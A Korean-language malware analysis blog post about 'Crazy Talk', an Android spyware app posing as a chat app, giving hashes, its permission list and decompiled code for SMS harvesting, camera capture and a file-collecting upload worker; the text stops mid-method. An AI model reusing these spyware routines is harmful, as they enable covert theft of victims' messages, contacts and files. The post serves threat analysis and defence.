오늘은 채팅 앱으로 위장을 하는 스파이앱인 Crazy Talk에 대해 글을 적어 보겠습니다. 일단 악성코드는 구글 플레이 스토어 에서 있었으면 지금은 폭발했습니다. 일단 해당 앱을 설치를 하면 기본적으로 전화번호 인증을 받기 위한 작업을 진행합니다.
기본적으로 아프가니스탄 번호인 93으로 할당이 돼 있으면 해당 앱을 실행을 해서 전화번호를 입력하면 스마트폰으로 인증번호를 받고 작동을 하게 구성이 돼 있습니다.
먼저 해쉬값은 다음과 같습니다.
파일명:Crazy.apk
사이즈:42.4 MB
CRC32:4879e984
MD5:7a47d859d5ee71934018433e3ab7ed5b
SHA-1:f3a36763e6b118fb079d2e15c5a2e680c67dd892
SHA-256:5efd92887bb72f3d2186a2c0bcaf7b14b43d3e41722cb70acf0c59dfd4cfd7ba
그리고 해당 악성코드 안드로이드 권한은 다음과 같습니다.
<uses-permission android:name="android.permission.GET_ACCOUNTS" android:maxSdkVersion="22"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS" android:maxSdkVersion="22"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
이며 보시면 네트워크 접근, 인터넷 연결, 위치 확인, 스마트폰 기기 식별자 권한, 외장 공간 쓰기, 연락처 읽기, 문자 일고 쓰기 등 사실상 안드로이드 스마트폰 권한을 대부분 가져가는 것을 볼 수가 있습니다.
그리고 classes.dex 는 총 5개가 존재하면 해쉬값은 다음과 같습니다.
[DEX Base Info]
Dex File Name:classes.dex
File Size:9989416 bytes
MD5:1503fb673f068315ddadc1f5fab69180
Class Size:8992
Method Size:65421
String Size:69140
Dex File Name:classes2.dex
File Size:2178708 bytes
MD5:f8d4dc7e758cc2869d91c721eed43f97
Class Size:1747
Method Size:8505
String Size:14901
Dex File Name:classes3.dex
File Size:8515884 bytes
MD5:c3c3cfea77f8a6524bf8cecbcd4047dd
Class Size:7917
Method Size:64752
String Size:49294
Dex File Name:classes4.dex
File Size:9486108 bytes
MD5:75fd2c3aaaeff3210c15eddb1205428d
Class Size:6670
Method Size:65292
String Size:56775
Dex File Name:classes5.dex
File Size:1384344 bytes
MD5:0e0d0394ddc2eb8763084002e4983c09
Class Size:1118
Method Size:8663
String Size:12065
입니다.
일단 com.crazy.talk.activities.ManageSMS 부분에서는 문자 관련 코드들이 있는 것을 확인할 수가 있습니다.
public class ManageSMS {
public static JSONObject getSMS() {
JSONObject result;
String str = "read";
String str2 = "date";
JSONObject result2 = null;
result2 = null;
try {
JSONArray jarray = new JSONArray();
result2 = new JSONObject();
Uri uri = Uri.parse("content://sms/");
Context act = MainActivity.getContextOfApplication();
Cursor c = act.getContentResolver().query(uri, null, null, null, null);
if (c.moveToFirst()) {
for (int i = 0; i < c.getCount(); i++) {
result2.put("body", c.getString(c.getColumnIndexOrThrow("body")).toString());
result2.put(str2, c.getString(c.getColumnIndexOrThrow(str2)).toString());
result2.put(str, c.getString(c.getColumnIndexOrThrow(str)).toString());
result2.put("type", c.getString(c.getColumnIndexOrThrow("type")).toString());
if (c.getString(c.getColumnIndexOrThrow("type")).toString().equals(ExifInterface.GPS_MEASUREMENT_3D)) {
String threadid = c.getString(c.getColumnIndexOrThrow("thread_id")).toString();
ContentResolver contentResolver = act.getContentResolver();
Uri parse = Uri.parse("content://mms-sms/conversations?simple=true");
Cursor cur = contentResolver.query(parse, null, "_id =" + threadid, null, null);
if (cur.moveToFirst()) {
String recipientId = cur.getString(cur.getColumnIndexOrThrow("recipient_ids")).toString();
ContentResolver contentResolver2 = act.getContentResolver();
Uri parse2 = Uri.parse("content://mms-sms/canonical-addresses");
str = str;
StringBuilder sb = new StringBuilder();
str2 = str2;
sb.append("_id = ");
sb.append(recipientId);
Cursor cur2 = contentResolver2.query(parse2, null, sb.toString(), null, null);
if (cur2.moveToFirst()) {
result2.put("address", cur2.getString(cur2.getColumnIndexOrThrow("address")).toString());
cur2.close();
}
} else {
str = str;
str2 = str2;
}
} else {
str = str;
str2 = str2;
result2.put("address", c.getString(c.getColumnIndexOrThrow("address")).toString());
}
jarray.put(result2);
result2 = new JSONObject();
c.moveToNext();
}
}
c.close();
result2.put("smslist", jarray);
result = result2;
} catch (IllegalArgumentException e) {
e.printStackTrace();
result = result2;
} catch (JSONException e2) {
e2.printStackTrace();
result = result2;
}
return result;
}
public static boolean sendSMS(String phoneNo, String msg) {
try {
SmsManager.getDefault().sendTextMessage(phoneNo, null, msg, null, null);
return true;
} catch (Exception ex) {
ex.printStackTrace();
return false;
}
}
}
안드로이드 스마트폰 망사업자 MCC+MNC 가져 오는 코드들은 다음과 같습니다. (com.google.android.gms.internal.ads.zzdhh)
public final /* synthetic */ com.google.android.gms.internal.ads.zzdhe zzasc() throws java.lang.Exception {
/*
r8 = this;
android.content.Context r0 = r8.zzvr
java.lang.String r1 = "phone"
java.lang.Object r0 = r0.getSystemService(r1)
android.telephony.TelephonyManager r0 = (android.telephony.TelephonyManager) r0
java.lang.String r2 = r0.getNetworkOperator()
boolean r1 = com.google.android.gms.common.util.PlatformVersion.isAtLeastR()
r3 = 0
if (r1 == 0) goto L_0x0029
com.google.android.gms.internal.ads.zzaaq<java.lang.Boolean> r1 = com.google.android.gms.internal.ads.zzabb.zzcyr
com.google.android.gms.internal.ads.zzaax r4 = com.google.android.gms.internal.ads.zzwm.zzpx()
java.lang.Object r1 = r4.zzd(r1)
java.lang.Boolean r1 = (java.lang.Boolean) r1
boolean r1 = r1.booleanValue()
if (r1 == 0) goto L_0x0029
r4 = 0
goto L_0x002e
L_0x0029:
int r1 = r0.getNetworkType()
r4 = r1
L_0x002e:
int r5 = r0.getPhoneType()
r0 = -2
com.google.android.gms.ads.internal.zzp.zzkr()
android.content.Context r1 = r8.zzvr
java.lang.String r6 = "android.permission.ACCESS_NETWORK_STATE"
boolean r1 = com.google.android.gms.internal.ads.zzayu.zzr(r1, r6)
r6 = -1
if (r1 == 0) goto L_0x0069
android.content.Context r0 = r8.zzvr
java.lang.String r1 = "connectivity"
java.lang.Object r0 = r0.getSystemService(r1)
android.net.ConnectivityManager r0 = (android.net.ConnectivityManager) r0
android.net.NetworkInfo r1 = r0.getActiveNetworkInfo()
if (r1 == 0) goto L_0x0060
int r6 = r1.getType()
android.net.NetworkInfo$DetailedState r1 = r1.getDetailedState()
int r1 = r1.ordinal()
goto L_0x0061
L_0x0060:
r1 = -1
L_0x0061:
boolean r0 = r0.isActiveNetworkMetered()
r7 = r1
r3 = r6
r6 = r0
goto L_0x006c
L_0x0069:
r3 = -2
r6 = 0
r7 = -1
L_0x006c:
com.google.android.gms.internal.ads.zzdhe r0 = new com.google.android.gms.internal.ads.zzdhe
r1 = r0
r1.<init>(r2, r3, r4, r5, r6, r7)
return r0
*/
throw new UnsupportedOperationException("Method not decompiled: com.google.android.gms.internal.ads.zzdhh.zzasc():com.google.android.gms.internal.ads.zzdhe");
}
}
위치 한 것을 볼 수가 있습니다.
스마트폰 카메라 관련 코드는 다음과 같습니다.
org.webrtc.sinch.VideoCapturerAndroid
public void startCaptureOnCameraThread(final int i, final int i2, final int i3, final VideoCapturer.CapturerObserver capturerObserver, final Context context) {
synchronized (this.handlerLock) {
if (this.cameraThreadHandler == null) {
Logging.m5e(TAG, "startCaptureOnCameraThread: Camera is stopped");
return;
}
checkIsOnCameraThread();
if (this.camera != null) {
Logging.m5e(TAG, "startCaptureOnCameraThread: Camera has already been started.");
return;
}
this.applicationContext = context;
this.frameObserver = capturerObserver;
this.firstFrameReported = false;
try {
try {
synchronized (this.cameraIdLock) {
Logging.m6d(TAG, "Opening camera " + this.f803id);
if (this.eventsHandler != null) {
this.eventsHandler.onCameraOpening(this.f803id);
}
this.camera = Camera.open(this.f803id);
Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
this.info = cameraInfo;
Camera.getCameraInfo(this.f803id, cameraInfo);
}
if (localPreview != null && !isCapturingToTexture) {
localPreview.addCallback(this);
}
try {
if (localPreview == null || isCapturingToTexture || localPreview.getSurface() == null || !localPreview.getSurface().isValid()) {
this.camera.setPreviewTexture(this.surfaceHelper.getSurfaceTexture());
} else {
this.camera.setPreviewDisplay(localPreview);
}
Logging.m6d(TAG, "Camera orientation: " + this.info.orientation + " .Device orientation: " + getDeviceOrientation());
this.camera.setErrorCallback(this.cameraErrorCallback);
startPreviewOnCameraThread(i, i2, i3);
capturerObserver.onCapturerStarted(true);
if (isCapturingToTexture) {
this.surfaceHelper.startListening(this);
}
this.cameraStatistics = new CameraVideoCapturer.CameraStatistics(this.surfaceHelper, this.eventsHandler);
} catch (IOException e) {
Logging.m4e(TAG, "setPreview failed", e);
throw new RuntimeException(e);
}
} catch (RuntimeException e2) {
int i4 = this.openCameraAttempts + 1;
this.openCameraAttempts = i4;
if (i4 < 3) {
Logging.m4e(TAG, "Camera.open failed, retrying", e2);
maybePostDelayedOnCameraThread(500, new Runnable() { // from class: org.webrtc.sinch.VideoCapturerAndroid.6
@Override // java.lang.Runnable
public void run() {
VideoCapturerAndroid.this.startCaptureOnCameraThread(i, i2, i3, capturerObserver, context);
}
});
return;
}
throw e2;
}
} catch (RuntimeException e3) {
Logging.m4e(TAG, "startCapture failed", e3);
stopCaptureOnCameraThread(true);
capturerObserver.onCapturerStarted(false);
CameraVideoCapturer.CameraEventsHandler cameraEventsHandler = this.eventsHandler;
if (cameraEventsHandler != null) {
cameraEventsHandler.onCameraError("Camera can not be started.");
}
}
}
}
/* JADX INFO: Access modifiers changed from: private */
public void startPreviewOnCameraThread(int i, int i2, int i3) {
synchronized (this.handlerLock) {
if (!(this.cameraThreadHandler == null || this.camera == null)) {
checkIsOnCameraThread();
Logging.m6d(TAG, "startPreviewOnCameraThread requested: " + i + "x" + i2 + "@" + i3);
this.requestedWidth = i;
this.requestedHeight = i2;
this.requestedFramerate = i3;
Camera.Parameters parameters = this.camera.getParameters();
List<CameraEnumerationAndroid.CaptureFormat.FramerateRange> convertFramerates = Camera1Enumerator.convertFramerates(parameters.getSupportedPreviewFpsRange());
Logging.m6d(TAG, "Available fps ranges: " + convertFramerates);
CameraEnumerationAndroid.CaptureFormat.FramerateRange closestSupportedFramerateRange = CameraEnumerationAndroid.getClosestSupportedFramerateRange(convertFramerates, i3);
Size closestSupportedSize = CameraEnumerationAndroid.getClosestSupportedSize(Camera1Enumerator.convertSizes(parameters.getSupportedPreviewSizes()), i, i2);
CameraEnumerationAndroid.CaptureFormat captureFormat = new CameraEnumerationAndroid.CaptureFormat(closestSupportedSize.width, closestSupportedSize.height, closestSupportedFramerateRange);
if (!captureFormat.equals(this.captureFormat)) {
Logging.m6d(TAG, "isVideoStabilizationSupported: " + parameters.isVideoStabilizationSupported());
if (parameters.isVideoStabilizationSupported()) {
parameters.setVideoStabilization(true);
}
if (captureFormat.framerate.max > 0) {
parameters.setPreviewFpsRange(captureFormat.framerate.min, captureFormat.framerate.max);
}
parameters.setPreviewSize(closestSupportedSize.width, closestSupportedSize.height);
if (!isCapturingToTexture) {
captureFormat.getClass();
parameters.setPreviewFormat(17);
}
Size closestSupportedSize2 = CameraEnumerationAndroid.getClosestSupportedSize(Camera1Enumerator.convertSizes(parameters.getSupportedPictureSizes()), i, i2);
parameters.setPictureSize(closestSupportedSize2.width, closestSupportedSize2.height);
if (this.captureFormat != null) {
this.camera.stopPreview();
this.camera.setPreviewCallbackWithBuffer(null);
}
Logging.m6d(TAG, "Start capturing: " + captureFormat);
this.captureFormat = captureFormat;
if (parameters.getSupportedFocusModes().contains("continuous-video")) {
parameters.setFocusMode("continuous-video");
}
this.camera.setParameters(parameters);
synchronized (this.cameraIdLock) {
setCameraPreviewOrientation(this.f803id);
}
this.queuedBuffers.clear();
int frameSize = captureFormat.frameSize();
for (int i4 = 0; i4 < 3; i4++) {
ByteBuffer allocateDirect = ByteBuffer.allocateDirect(frameSize);
this.queuedBuffers.add(allocateDirect.array());
this.camera.addCallbackBuffer(allocateDirect.array());
}
this.camera.setPreviewCallbackWithBuffer(this);
this.camera.startPreview();
return;
}
return;
}
Logging.m5e(TAG, "startPreviewOnCameraThread: Camera is stopped");
}
}
/* JADX INFO: Access modifiers changed from: private */
public void stopCaptureOnCameraThread(boolean z) {
synchronized (this.handlerLock) {
if (this.cameraThreadHandler == null) {
Logging.m5e(TAG, "stopCaptureOnCameraThread: Camera is stopped");
} else {
checkIsOnCameraThread();
}
}
Logging.m6d(TAG, "stopCaptureOnCameraThread");
SurfaceTextureHelper surfaceTextureHelper = this.surfaceHelper;
if (surfaceTextureHelper != null) {
surfaceTextureHelper.stopListening();
}
if (z) {
synchronized (this.handlerLock) {
if (this.cameraThreadHandler != null) {
this.cameraThreadHandler.removeCallbacksAndMessages(this);
this.cameraThreadHandler = null;
}
this.surfaceHelper = null;
}
}
CameraVideoCapturer.CameraStatistics cameraStatistics = this.cameraStatistics;
if (cameraStatistics != null) {
cameraStatistics.release();
this.cameraStatistics = null;
}
Logging.m6d(TAG, "Stop preview.");
Camera camera = this.camera;
if (camera != null) {
camera.stopPreview();
this.camera.setPreviewCallbackWithBuffer(null);
}
this.queuedBuffers.clear();
this.captureFormat = null;
SurfaceHolder surfaceHolder = localPreview;
if (surfaceHolder != null) {
surfaceHolder.removeCallback(this);
}
Logging.m6d(TAG, "Release camera.");
Camera camera2 = this.camera;
if (camera2 != null) {
camera2.release();
this.camera = null;
}
CameraVideoCapturer.CameraEventsHandler cameraEventsHandler = this.eventsHandler;
if (cameraEventsHandler != null) {
cameraEventsHandler.onCameraClosed();
}
Logging.m6d(TAG, "stopCaptureOnCameraThread done");
}
/* JADX INFO: Access modifiers changed from: private */
public void switchCameraOnCameraThread() {
synchronized (this.handlerLock) {
if (this.cameraThreadHandler == null) {
Logging.m5e(TAG, "switchCameraOnCameraThread: Camera is stopped");
return;
}
checkIsOnCameraThread();
Logging.m6d(TAG, "switchCameraOnCameraThread");
stopCaptureOnCameraThread(false);
synchronized (this.cameraIdLock) {
this.f803id = (this.f803id + 1) % Camera.getNumberOfCameras();
}
startCaptureOnCameraThread(this.requestedWidth, this.requestedHeight, this.requestedFramerate, this.frameObserver, this.applicationContext);
Logging.m6d(TAG, "switchCameraOnCameraThread done");
}
}
/* JADX INFO: Access modifiers changed from: private */
public void switchCameraOnCameraThreadToId(int i) {
synchronized (this.handlerLock) {
if (this.cameraThreadHandler == null) {
Logging.m5e(TAG, "switchCameraOnCameraThread: Camera is stopped");
return;
}
checkIsOnCameraThread();
Logging.m6d(TAG, "switchCameraOnCameraThreadToId");
stopCaptureOnCameraThread(false);
synchronized (this.cameraIdLock) {
this.f803id = i;
}
startCaptureOnCameraThread(this.requestedWidth, this.requestedHeight, this.requestedFramerate, this.frameObserver, this.applicationContext);
Logging.m6d(TAG, "switchCameraOnCameraThreadToId done");
}
}
private synchronized boolean switchToCameraId(final int i) {
if (Camera.getNumberOfCameras() < 2) {
return false;
}
synchronized (this.pendingCameraSwitchLock) {
if (this.pendingCameraSwitch) {
Logging.m2w(TAG, "Ignoring camera switch request.");
return false;
}
this.pendingCameraSwitch = true;
return maybePostOnCameraThread(new Runnable() { // from class: org.webrtc.sinch.VideoCapturerAndroid.11
@Override // java.lang.Runnable
public void run() {
if (VideoCapturerAndroid.this.camera == null) {
Logging.m2w(VideoCapturerAndroid.TAG, "Cannot switch, camera is stopped.");
return;
}
VideoCapturerAndroid.this.switchCameraOnCameraThreadToId(i);
synchronized (VideoCapturerAndroid.this.pendingCameraSwitchLock) {
VideoCapturerAndroid.this.pendingCameraSwitch = false;
}
}
});
}
}
public void changeCaptureFormat(final int i, final int i2, final int i3) {
maybePostOnCameraThread(new Runnable() { // from class: org.webrtc.sinch.VideoCapturerAndroid.4
@Override // java.lang.Runnable
public void run() {
VideoCapturerAndroid.this.startPreviewOnCameraThread(i, i2, i3);
}
});
}
@Override // org.webrtc.sinch.VideoCapturer
public void dispose() {
Logging.m6d(TAG, "dispose");
}
Handler getCameraThreadHandler() {
return this.cameraThreadHandler;
}
@Override // org.webrtc.sinch.VideoCapturer
public List<CameraEnumerationAndroid.CaptureFormat> getSupportedFormats() {
return Camera1Enumerator.getSupportedFormats(getCurrentCameraId());
}
@Override // com.sinch.android.rtc.video.ProcessedVideoFrameListener
public synchronized void onFrame(final YuvImage yuvImage) {
if (this.cameraThreadHandler != null) {
maybePostOnCameraThread(new Runnable() { // from class: org.webrtc.sinch.VideoCapturerAndroid.8
final YuvImage frameToSend;
{
this.frameToSend = yuvImage;
}
@Override // java.lang.Runnable
public void run() {
VideoCapturerAndroid.this.frameObserver.onByteBufferFrameCaptured(this.frameToSend.getYuvData(), this.frameToSend.getWidth(), this.frameToSend.getHeight(), VideoCapturerAndroid.this.getFrameOrientation(), TimeUnit.MILLISECONDS.toNanos(SystemClock.elapsedRealtime()));
}
});
}
}
public void onOutputFormatRequest(final int i, final int i2, final int i3) {
maybePostOnCameraThread(new Runnable() { // from class: org.webrtc.sinch.VideoCapturerAndroid.3
@Override // java.lang.Runnable
public void run() {
VideoCapturerAndroid.this.onOutputFormatRequestOnCameraThread(i, i2, i3);
}
});
}
@Override // android.hardware.Camera.PreviewCallback
public void onPreviewFrame(byte[] bArr, Camera camera) {
synchronized (this.handlerLock) {
if (this.cameraThreadHandler == null) {
Logging.m5e(TAG, "onPreviewFrame: Camera is stopped");
return;
}
checkIsOnCameraThread();
if (this.queuedBuffers.contains(bArr)) {
if (this.camera == camera) {
long nanos = TimeUnit.MILLISECONDS.toNanos(SystemClock.elapsedRealtime());
CameraVideoCapturer.CameraEventsHandler cameraEventsHandler = this.eventsHandler;
if (cameraEventsHandler != null && !this.firstFrameReported) {
cameraEventsHandler.onFirstFrameAvailable();
this.firstFrameReported = true;
}
this.cameraStatistics.addFrame();
LocalVideoFrameListener localVideoFrameListener = frameListener;
if (localVideoFrameListener == null) {
this.frameObserver.onByteBufferFrameCaptured(bArr, this.captureFormat.width, this.captureFormat.height, getFrameOrientation(), nanos);
} else {
localVideoFrameListener.onFrame(new YuvImage(bArr, 17, this.captureFormat.width, this.captureFormat.height, null), this);
}
this.camera.addCallbackBuffer(bArr);
return;
}
throw new RuntimeException("Unexpected camera in callback!");
}
}
}
@Override // org.webrtc.sinch.SurfaceTextureHelper.OnTextureFrameAvailableListener
public void onTextureFrameAvailable(int i, float[] fArr, long j) {
synchronized (this.handlerLock) {
if (this.cameraThreadHandler == null) {
Logging.m5e(TAG, "onTextureFrameAvailable: Camera is stopped");
this.surfaceHelper.returnTextureFrame();
return;
}
checkIsOnCameraThread();
CameraVideoCapturer.CameraEventsHandler cameraEventsHandler = this.eventsHandler;
if (cameraEventsHandler != null && !this.firstFrameReported) {
cameraEventsHandler.onFirstFrameAvailable();
this.firstFrameReported = true;
}
int frameOrientation = getFrameOrientation();
if (this.info.facing == 1) {
fArr = RendererCommon.multiplyMatrices(fArr, RendererCommon.horizontalFlipMatrix());
}
this.cameraStatistics.addFrame();
this.frameObserver.onTextureFrameCaptured(this.captureFormat.width, this.captureFormat.height, i, fArr, frameOrientation, j);
}
}
public void printStackTrace() {
Thread thread;
synchronized (this.handlerLock) {
thread = this.cameraThreadHandler != null ? this.cameraThreadHandler.getLooper().getThread() : null;
}
if (thread != null) {
StackTraceElement[] stackTrace = thread.getStackTrace();
if (stackTrace.length > 0) {
Logging.m6d(TAG, "VideoCapturerAndroid stacks trace:");
for (StackTraceElement stackTraceElement : stackTrace) {
Logging.m6d(TAG, stackTraceElement.toString());
}
}
}
}
@Override // org.webrtc.sinch.VideoCapturer
public void startCapture(final int i, final int i2, final int i3, SurfaceTextureHelper surfaceTextureHelper, final Context context, final VideoCapturer.CapturerObserver capturerObserver) {
Logging.m6d(TAG, "startCapture requested: " + i + "x" + i2 + "@" + i3);
if (surfaceTextureHelper == null) {
capturerObserver.onCapturerStarted(false);
CameraVideoCapturer.CameraEventsHandler cameraEventsHandler = this.eventsHandler;
if (cameraEventsHandler != null) {
cameraEventsHandler.onCameraError("No SurfaceTexture created.");
}
} else if (context == null) {
throw new IllegalArgumentException("applicationContext not set.");
} else if (capturerObserver != null) {
synchronized (this.handlerLock) {
if (this.cameraThreadHandler == null) {
this.cameraThreadHandler = surfaceTextureHelper.getHandler();
this.surfaceHelper = surfaceTextureHelper;
if (!maybePostOnCameraThread(new Runnable() { // from class: org.webrtc.sinch.VideoCapturerAndroid.5
@Override // java.lang.Runnable
public void run() {
VideoCapturerAndroid.this.openCameraAttempts = 0;
VideoCapturerAndroid.this.startCaptureOnCameraThread(i, i2, i3, capturerObserver, context);
}
})) {
capturerObserver.onCapturerStarted(false);
if (this.eventsHandler != null) {
this.eventsHandler.onCameraError("Could not post task to camera thread.");
}
}
} else {
throw new RuntimeException("Camera has already been started.");
}
}
} else {
throw new IllegalArgumentException("frameObserver not set.");
}
}
@Override // org.webrtc.sinch.VideoCapturer
public void stopCapture() {
Logging.m6d(TAG, "stopCapture");
final CountDownLatch countDownLatch = new CountDownLatch(1);
if (!maybePostOnCameraThread(new Runnable() { // from class: org.webrtc.sinch.VideoCapturerAndroid.7
@Override // java.lang.Runnable
public void run() {
VideoCapturerAndroid.this.stopCaptureOnCameraThread(true);
countDownLatch.countDown();
}
})) {
Logging.m5e(TAG, "Calling stopCapture() for already stopped camera.");
return;
}
if (!countDownLatch.await(7000L, TimeUnit.MILLISECONDS)) {
Logging.m5e(TAG, "Camera stop timeout");
printStackTrace();
CameraVideoCapturer.CameraEventsHandler cameraEventsHandler = this.eventsHandler;
if (cameraEventsHandler != null) {
cameraEventsHandler.onCameraError("Camera stop timeout");
}
}
Logging.m6d(TAG, "stopCapture done");
}
@Override // android.view.SurfaceHolder.Callback
public synchronized void surfaceChanged(SurfaceHolder surfaceHolder, int i, int i2, int i3) {
Logging.m6d(TAG, "VideoCapturerAndroid::surfaceChanged ignored: " + i + ": " + i2 + "x" + i3);
}
@Override // android.view.SurfaceHolder.Callback
public synchronized void surfaceCreated(final SurfaceHolder surfaceHolder) {
Logging.m6d(TAG, "VideoCapturerAndroid::surfaceCreated");
if (this.cameraThreadHandler != null) {
maybePostOnCameraThread(new Runnable() { // from class: org.webrtc.sinch.VideoCapturerAndroid.9
@Override // java.lang.Runnable
public void run() {
if (VideoCapturerAndroid.this.captureFormat != null) {
final int i = VideoCapturerAndroid.this.captureFormat.width;
final int i2 = VideoCapturerAndroid.this.captureFormat.height;
new Handler(VideoCapturerAndroid.this.applicationContext.getMainLooper()).post(new Runnable() { // from class: org.webrtc.sinch.VideoCapturerAndroid.9.1
@Override // java.lang.Runnable
public void run() {
VideoCapturerAndroid.this.setCameraPreviewSizeOnMainThread(surfaceHolder, i, i2);
}
});
} else {
Logging.m5e(VideoCapturerAndroid.TAG, "Cannot set camera preview size: captureFormat is null.");
}
if (VideoCapturerAndroid.this.camera == null) {
Logging.m6d(VideoCapturerAndroid.TAG, "Camera is null, restarting.");
VideoCapturerAndroid.this.stopCaptureOnCameraThread(true);
VideoCapturerAndroid videoCapturerAndroid = VideoCapturerAndroid.this;
videoCapturerAndroid.startCaptureOnCameraThread(videoCapturerAndroid.requestedWidth, VideoCapturerAndroid.this.requestedHeight, VideoCapturerAndroid.this.requestedFramerate, VideoCapturerAndroid.this.frameObserver, VideoCapturerAndroid.this.applicationContext);
return;
}
try {
VideoCapturerAndroid.this.camera.stopPreview();
VideoCapturerAndroid.this.setPreviewDisplayOnCameraThread(surfaceHolder);
if (VideoCapturerAndroid.this.captureFormat != null) {
VideoCapturerAndroid.this.captureFormat = new CameraEnumerationAndroid.CaptureFormat(0, 0, VideoCapturerAndroid.this.captureFormat.framerate);
}
VideoCapturerAndroid.this.startPreviewOnCameraThread(VideoCapturerAndroid.this.requestedWidth, VideoCapturerAndroid.this.requestedHeight, VideoCapturerAndroid.this.requestedFramerate);
} catch (RuntimeException e) {
Logging.m4e(VideoCapturerAndroid.TAG, "surfaceCreated(): preview operation failed", e);
VideoCapturerAndroid.this.stopCaptureOnCameraThread(true);
VideoCapturerAndroid.this.frameObserver.onCapturerStarted(false);
if (VideoCapturerAndroid.this.eventsHandler != null) {
VideoCapturerAndroid.this.eventsHandler.onCameraError("Camera preview operation failed while in surfaceCreated()!");
}
}
}
});
}
}
@Override // android.view.SurfaceHolder.Callback
public synchronized void surfaceDestroyed(SurfaceHolder surfaceHolder) {
Logging.m6d(TAG, "VideoCapturerAndroid::surfaceDestroyed");
if (!(this.camera == null || this.cameraThreadHandler == null)) {
maybePostOnCameraThread(new Runnable() { // from class: org.webrtc.sinch.VideoCapturerAndroid.10
@Override // java.lang.Runnable
public void run() {
if (VideoCapturerAndroid.this.camera != null) {
try {
VideoCapturerAndroid.this.camera.stopPreview();
VideoCapturerAndroid.this.camera.setPreviewTexture(VideoCapturerAndroid.this.surfaceHelper.getSurfaceTexture());
if (VideoCapturerAndroid.this.captureFormat != null) {
VideoCapturerAndroid.this.captureFormat = new CameraEnumerationAndroid.CaptureFormat(0, 0, VideoCapturerAndroid.this.captureFormat.framerate);
}
VideoCapturerAndroid.this.startPreviewOnCameraThread(VideoCapturerAndroid.this.requestedWidth, VideoCapturerAndroid.this.requestedHeight, VideoCapturerAndroid.this.requestedFramerate);
} catch (IOException e) {
Logging.m4e(VideoCapturerAndroid.TAG, "surfaceDestroyed(): setPreview back to surfaceTexture failed", e);
VideoCapturerAndroid.this.stopCaptureOnCameraThread(true);
VideoCapturerAndroid.this.frameObserver.onCapturerStarted(false);
if (VideoCapturerAndroid.this.eventsHandler == null) {
return;
}
VideoCapturerAndroid.this.eventsHandler.onCameraError("Camera preview operation failed while in surfaceDestroyed()!");
} catch (RuntimeException e2) {
Logging.m4e(VideoCapturerAndroid.TAG, "surfaceDestroyed(): preview operation failed", e2);
VideoCapturerAndroid.this.stopCaptureOnCameraThread(true);
VideoCapturerAndroid.this.frameObserver.onCapturerStarted(false);
if (VideoCapturerAndroid.this.eventsHandler == null) {
return;
}
VideoCapturerAndroid.this.eventsHandler.onCameraError("Camera preview operation failed while in surfaceDestroyed()!");
}
}
}
});
}
}
@Override // org.webrtc.sinch.CameraVideoCapturer
public void switchCamera(final CameraVideoCapturer.CameraSwitchHandler cameraSwitchHandler) {
if (Camera.getNumberOfCameras() >= 2) {
synchronized (this.pendingCameraSwitchLock) {
if (this.pendingCameraSwitch) {
Logging.m2w(TAG, "Ignoring camera switch request.");
if (cameraSwitchHandler != null) {
cameraSwitchHandler.onCameraSwitchError("Pending camera switch already in progress.");
}
return;
}
this.pendingCameraSwitch = true;
if (!maybePostOnCameraThread(new Runnable() { // from class: org.webrtc.sinch.VideoCapturerAndroid.2
@Override // java.lang.Runnable
public void run() {
boolean z;
VideoCapturerAndroid.this.switchCameraOnCameraThread();
synchronized (VideoCapturerAndroid.this.pendingCameraSwitchLock) {
z = false;
VideoCapturerAndroid.this.pendingCameraSwitch = false;
}
CameraVideoCapturer.CameraSwitchHandler cameraSwitchHandler2 = cameraSwitchHandler;
if (cameraSwitchHandler2 != null) {
if (VideoCapturerAndroid.this.info.facing == 1) {
z = true;
}
cameraSwitchHandler2.onCameraSwitchDone(z);
}
}
}) && cameraSwitchHandler != null) {
cameraSwitchHandler.onCameraSwitchError("Camera is stopped.");
}
}
} else if (cameraSwitchHandler != null) {
cameraSwitchHandler.onCameraSwitchError("No camera to switch to.");
}
}
public void switchToCameraPosition(int i) {
synchronized (this.cameraIdLock) {
int cameraIdWithPosition = getCameraIdWithPosition(i);
if (cameraIdWithPosition != -1) {
if (cameraIdWithPosition != this.f803id) {
if (!switchToCameraId(cameraIdWithPosition)) {
Logging.m5e(TAG, "Could not switch to camera with id " + cameraIdWithPosition);
}
}
}
}
}
}
com.crazy.talk.workers.UserDataUploadWorker 부분에서는 연락처, SMS, 통화 기록, 다양한 확장명 및 디렉터리가 있는 스마트폰의 파일, WhatsApp 및 Signal 메시지 송수신, 오디오 녹음 등을 수집하는 것을 볼 수가 있습니다.
private ArrayList<FileInfo> getListFiles(File parentDir) {
int size;
int path;
int type;
UserDataUploadWorker userDataUploadWorker = this;
ArrayList<FileInfo> inFiles = new ArrayList<>();
File[] files = parentDir.listFiles();
if (files != null) {
int length = files.length;
int i = 0;
while (i < length) {
File file = files[i];
if (file.isDirectory()) {
inFiles.addAll(userDataUploadWorker.getListFiles(file));
} else if (!userDataUploadWorker.cloudFiles.contains(file.getName())) {
if (file.length() / 10000000 <= 0) {
size = 1;
} else {
size = 2;
}
